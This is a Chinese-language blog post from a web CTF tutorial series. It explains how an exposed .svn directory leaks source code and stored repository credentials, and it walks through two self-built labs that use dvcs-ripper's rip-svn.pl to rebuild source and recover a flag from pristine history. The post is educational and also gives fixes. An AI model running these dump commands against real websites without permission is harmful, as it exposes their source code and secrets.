iT邦幫忙

2021 iThome 鐵人賽

DAY 3
0
Security

【CTF衝衝衝 - Web篇】系列 第 3

【第三天 - SVN 洩漏】

Q1. 什麼是 SVN ?

  • Subversion (簡稱SVN),與 Git 一樣是原始碼版本管理軟體,但是他與 Git 最大的不同是, SVN 是集中式管理,而 Git 是分散式管理。
  • SVN 會有一個集中管理的服務器 (Server 端),儲存所有檔案的修改紀錄,而開發工程式會通過 Client 端連線到 Server 端,拿到最新版本的檔案或提交更新。也有基於 SVN 的商業軟體,提供圖形化操作,不用使用指令將檔案進行更新與提交,例如TortoiseSVN、SnailSVN。

SVN 維基介紹:https://zh.wikipedia.org/wiki/Subversion

SVN 安裝介紹:https://blog.hungwin.com.tw/windows-server-svn-server-install/

SVN 命令教學:https://www.runoob.com/svn/svn-intro.html

SVN 與 Git 差異:https://www.twblogs.net/a/5c893efdbd9eee35fc148c46

SVN 與 Git 入門比較:https://codertw.com/程式語言/459573/

SVN 與 Git 指令比較:https://backlog.com/git-tutorial/tw/reference/git-svn.html#sec1

Q2. 為什麼會有 SVN 洩漏?

  • 當工程師在撰寫程式時,使用 SVN 來做版本控管,目錄底下會自動產生一個 .svn 的隱藏檔案,裡面會儲存程式的修改、新增、刪除等紀錄
  • 若工程師直接將含有 .svn 目錄的專案放到網頁伺服器的公開目錄,駭客便有可能下載 .svn 中的資料,利用 SVN 的機制將原始碼重建。
  • 當工程師開發完成時,應該要有兩個方法發佈較為妥當:
    • 額外將網頁程式碼製作一個副本 (不含 .svn),再發佈到網頁伺服器。
    • 直接將含 svn 目錄的專案放到網頁伺服器,但同時做好網頁的權限控管,也就是當你瀏覽 /.svn 底下的全部內容時,會回傳 403。
  • SVN 與 Git 有一個很大的不同:SVN 屬於集中式管理。因此開發者在下載專案時「只會得到當前版本」,並不會下載完整的歷史紀錄,而如果需要查看歷史紀錄、回溯過去版本,就必須再連線到 SVN 伺服器上下載。
  • 精確的說,本地的 .svn 目錄只會 cache 到以下兩種情況的原始程式:
    • 「在本地 commit 的版本」
    • 「曾經 update 下來的版本」 (相當於 git pull,也就是從 svn 伺服器抓取最新版)
  • 在這兩種情況下,你才會在.svn/pristine/XX/XXX.svn-base路徑底下看到多個檔案。 也因此,駭客將 .svn 下載下來後,由於通常無法連線到組織內部的 SVN 伺服器,因而無法隨意回溯到過去的任意歷史版本中,只能看到當前版本的內容與 ****pristine路徑底下的原始碼 。

https://ithelp.ithome.com.tw/upload/images/20210917/20140592WxTmkejeHh.png

Q3. SVN 的還原工具?

Q4. SVN 儲存資料的位置?

  • .svn/entries 獲取到伺服器原始碼、svn伺服器帳號密碼等資訊
  • .svn/text-base/XX/XXX.svn-base (舊版本 SVN 路徑,會存放原始碼檔案副本)
  • .svn/pristine/XX/XXX.svn-base (新版本 SVN 路徑,會存放原始碼檔案副本)

https://ithelp.ithome.com.tw/upload/images/20210917/20140592Uc1V14nVKj.png

Q5. SVN 洩漏類型

  1. 一般洩漏:flag 藏在原始碼中,可以透過下列步驟抓取 .svn ,重建原始碼 (如 Lab 1 實作)
    • 先下載 dvcs-ripper 工具
    • ./dvcs-ripper/rip-svn.pl -v -u <網址/.svn>
      • 使用 dvcs-ripper 工具將 .svn 還原
    • ls -al
      • 查看 dump 下來的資料有哪些資料
    • cat <找到的檔案>
      • 看原始程式內容,可能 php 註解了 flag,網頁無法顯示,但是原始程式碼會記錄
  2. SVN 回溯:SVN 功能是做版本控制,所以會將程式不斷進行修改、commit,所以可能 flag 檔案在某個時間被創建出來,但是下一個版本將 flag 檔案進行刪除、覆蓋,此時,我們查看程式原始碼 (如 Lab 2 實作)
    • 重複一般洩漏 1 的流程,你將會拿到 svn 最新版本的資料, 裡面可能沒有我們要的正確 flag
    • tree .svn
      • 查看目前 svn 的結構,在新版本的 SVN 中,pristine 目錄底下會存放幾個資料夾,資料夾內的 .svn-base會儲存過去版本的原始程式
    • cat <.svn/pristine/目錄/檔案.svn-base>
      • 查看某一檔案的原始碼

Lab 1

  • lab 1 題目環境製作
# Install apache
sudo apt install apache2 php

# Install SVN
sudo apt install subversion libsvn-dev

# Create Repo
cd ~
svnadmin create svn_2

# Checkout repo in public web folder
cd /var/www/html
sudo svn co file:///home/alan/svn_2

# Take ownership
cd svn_2
sudo chown -R "$(whoami)" .

# Create Flag
echo -e "<?php \n# My flag is: FLAG{Pu8L1c_SVN_rePO_15_D4N93rOuS} \n?>\nYou cannot see the flag" > index.php
svn add index.php
svn commit -m "Add flag"

https://ithelp.ithome.com.tw/upload/images/20210917/20140592qzDjBmcV3W.png

  • lab 1 解題
    https://ithelp.ithome.com.tw/upload/images/20210917/20140592virtMImYRQ.png
    https://ithelp.ithome.com.tw/upload/images/20210917/20140592s5ZBGBna7K.png
# Install Dependencies
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl

# Download Tool
git clone https://github.com/kost/dvcs-ripper.git

# Create Output Folder
mkdir dump && cd dump

# Dump
../dvcs-ripper/rip-svn.pl -v -u http://172.16.28.2/svn_2/.svn

# Show Flag
cat index.php

https://ithelp.ithome.com.tw/upload/images/20210917/20140592jeZ2eMjMOg.png

https://ithelp.ithome.com.tw/upload/images/20210917/20140592Y9yjnFyHLS.png

Lab 2

  • lab 2 題目環境製作
# Install apache2
sudo apt install apache2 php

# Install SVN
sudo apt install subversion libsvn-dev

# Create Repo
cd ~
svnadmin create svn_1

# Checkout repo in public web folder
cd /var/www/html
sudo svn co file:///home/alan/svn_1

# Take ownership
cd svn_1
sudo chown -R "$(whoami)" .

# Create Flag
echo "My flag is: FLAG{Pu8L1c_SVN_rePO_15_D4N93rOuS}" > index.php
svn add index.php
svn commit -m "Add flag"

# Delete Flag
echo "My flag is disappear :D" > index.php
svn commit -m "Delete flag"

# keep going~
echo "No flag forever ~" > index.php
svn commit -m "Lalala"

2-1

2-2

2-3

2-4

2-5

2-6

  • lab 2 解題
    https://ithelp.ithome.com.tw/upload/images/20210917/20140592TytIBdI6Pm.png
    https://ithelp.ithome.com.tw/upload/images/20210917/20140592HqNnVLzGS0.png
# Install Dependencies
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl

# Download Tool
git clone https://github.com/kost/dvcs-ripper.git

# Create Output Folder
mkdir dump && cd dump

# Dump
../dvcs-ripper/rip-svn.pl -v -u http://172.16.28.2/svn_1/.svn

# Show Flag
tree .svn
cat .svn/pristine/11/1127bde982aa7d9c569433b988b09e760cbcbdc8.svn-base

https://ithelp.ithome.com.tw/upload/images/20210917/20140592skTSkd6LzB.png


上一篇
【第二天 - Git 洩漏】
下一篇
【第四天 - HG 洩漏】
系列文
【CTF衝衝衝 - Web篇】30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言